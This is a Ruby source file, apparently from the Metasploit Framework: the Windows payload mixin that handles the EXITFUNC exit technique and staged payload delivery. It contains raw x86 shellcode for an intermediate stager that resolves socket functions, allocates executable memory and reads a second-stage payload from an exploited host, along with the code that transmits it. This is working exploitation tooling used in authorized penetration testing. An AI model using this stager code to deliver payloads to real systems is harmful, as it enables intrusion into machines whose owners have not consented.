108 lines
3.7 KiB
Ruby
108 lines
3.7 KiB
Ruby
require 'msf/core'
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###
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#
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# This class is here to implement advanced variable substitution
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# for windows-based payloads, such as EXITFUNC. Windows payloads
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# are expected to include this module if they want advanced
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# variable substitution.
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#
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###
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module Msf::Payload::Windows
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#
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# ROR hash associations for some of the exit technique routines.
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#
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@@exit_types =
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{
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'seh' => 0x5f048af0, # SetUnhandledExceptionFilter
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'thread' => 0x60e0ceef, # ExitThread
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'process' => 0x73e2d87e, # ExitProcess
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}
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#
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# This mixin is chained within payloads that target the Windows platform.
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# It provides special variable substitution for things like EXITFUNC and
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# automatically adds it as a required option for exploits that use windows
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# payloads.
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#
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def initialize(info = {})
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if (info['Alias'])
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info['Alias'] = 'windows/' + info['Alias']
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end
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# All windows payload hint that the stack must be aligned to nop
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# generators and encoders.
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super(merge_info(info,
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'SaveRegisters' => [ 'esp' ]))
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register_options(
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[
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Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'seh' ])
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], Msf::Payload::Windows)
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end
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#
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# Replace the EXITFUNC variable like madness
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#
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def replace_var(raw, name, offset, pack)
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if (name == 'EXITFUNC')
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method = datastore[name]
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method = 'seh' if (!method or @@exit_types.include?(method) == false)
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raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')
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return true
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end
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return false
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end
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#
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# For windows, we check to see if the stage that is being sent is larger
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# than a certain size. If it is, we transmit another stager that will
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# ensure that the entire stage is read in.
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#
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def handle_intermediate_stage(conn, payload)
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return false if (payload.length < 512)
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# The mid-stage works by reading in a four byte length in host-byte
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# order (which represents the length of the stage). Following that, it
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# reads in the entire second stage until all bytes are read. It reads the
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# data into a buffer which is allocated with VirtualAlloc to avoid running
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# out of stack space or NX problems.
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# See the source file: /external/source/shellcode/windows/midstager.asm
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midstager =
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"\xFC\x31\xDB\x64\x8B\x43\x30\x8B\x40\x0C\x8B\x50\x1C\x8B\x12\x8B\x72\x20\xAD\xAD" +
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"\x4E\x03\x06\x3D\x32\x33\x5F\x32\x0F\x85\xEB\xFF\xFF\xFF\x8B\x6A\x08\x8B\x45\x3C" +
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"\x8B\x4C\x05\x78\x8B\x4C\x0D\x1C\x01\xE9\x8B\x71\x3C\x01\xEE\x60\x64\xA1\x30\x00" +
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"\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x68\x08\x8B\x45\x3C\x8B\x7C\x05\x78\x01" +
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"\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84" +
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"\xC0\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x81\xFA\x54\xCA\xAF\x91\x75\xE3\x8B\x5F" +
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"\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5F\x1C\x01\xEB\x8B\x1C\x8B\x01\xEB\x89\x5C\x24" +
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"\x08\x61\x89\xE3\x6A\x00\x6A\x04\x53\x57\xFF\xD6\x8B\x1B\x68\x40\x00\x00\x00\x68" +
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"\x00\x30\x00\x00\x53\x68\x00\x00\x00\x00\xFF\xD5\x89\xC5\x55\x6A\x00\x53\x55\x57" +
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"\xFF\xD6\x01\xC5\x29\xC3\x85\xDB\x75\xF1\xC3"
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# Prepend the stage prefix as necessary, such as a tag that is needed to
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# find the socket
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midstager = (self.stage_prefix || '') + midstager
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print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
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# Transmit our intermediate stager
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conn.put(midstager)
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# Sleep to give enough time for the remote side to receive and read the
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# midstage so that we don't accidentally read in part of the second
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# stage.
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Rex::ThreadSafe.sleep(1.5)
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# The mid-stage requires that we transmit a four byte length field that
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# it will use as the length of the subsequent stage.
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conn.put([ payload.length ].pack('V'))
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return true
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end
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end |